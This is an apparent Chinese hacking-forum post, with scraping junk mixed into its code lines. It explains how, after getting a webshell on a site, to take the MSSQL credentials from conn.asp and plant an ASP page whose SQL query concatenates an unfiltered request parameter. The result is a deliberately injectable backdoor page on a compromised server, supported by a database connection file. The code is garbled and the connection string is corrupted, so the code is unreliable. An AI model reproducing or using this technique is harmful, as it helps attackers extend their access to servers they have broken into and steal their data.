首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:! _6 Y/ L7 t d
ASP/Visual Basic代码6 i% ~9 d) m$ |& q
<!--#include file="xx.asp"--> l4 h$ B6 w# S: E% t
<% 3 N/ c" E' M l- z+ L/ {
set rs=server.createobject("ADODB.recordset")
8 m5 Y2 G/ B( O$ mid = request("id")
% ^1 z T( F: a" l4 Z R5 }2 QstrSQL = "select * from admin where id=" & id " x$ x0 E: n# |2 ?% g+ Q, @1 W
rs.open strSQL,conn,1,3 1 B- C* J' w" ]
rs.close 3 [# \/ N+ C0 h2 d! V. v' p% L
%> m( s% } B$ z
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!! T, ^. w6 s \+ W& I
然后就要构造一个连接数据库的文件了,代码如下:& b4 ^$ l1 J# s( [& f/ Z0 L: i
ASP/Visual Basic代码# h$ U* D6 ~) s) a& G* g
<% % f5 ?7 d1 x( H& m: N6 M6 S
strSQLServerName = "000.000.000.000" '服务器名称或地址
7 E% G. ?9 I$ t) e# dstrSQLDBUserName = "sqlname" '数据库帐号 7 _$ R+ c/ e7 x5 f
strSQLDBPassword = "sqlpass" '数据库密码 $ m9 l! g3 n1 T1 ?: o9 D# U. D/ Y
strSQLDBName = "sqldataname" '数据库名称
5 h; O$ A1 O+ I2 A% CSet conn = Server.CreateObject("ADODB.Connection")
5 X( C6 u7 E2 p6 j5 [% x% gstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" 3 B5 S+ S8 f: D$ P- ]
conn.open strCon " ~8 @8 J0 H0 G/ v
%> 7 x$ \; O5 T7 E! l; e) F+ N
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
4 L' i# y/ l) w" V: i0 t. O |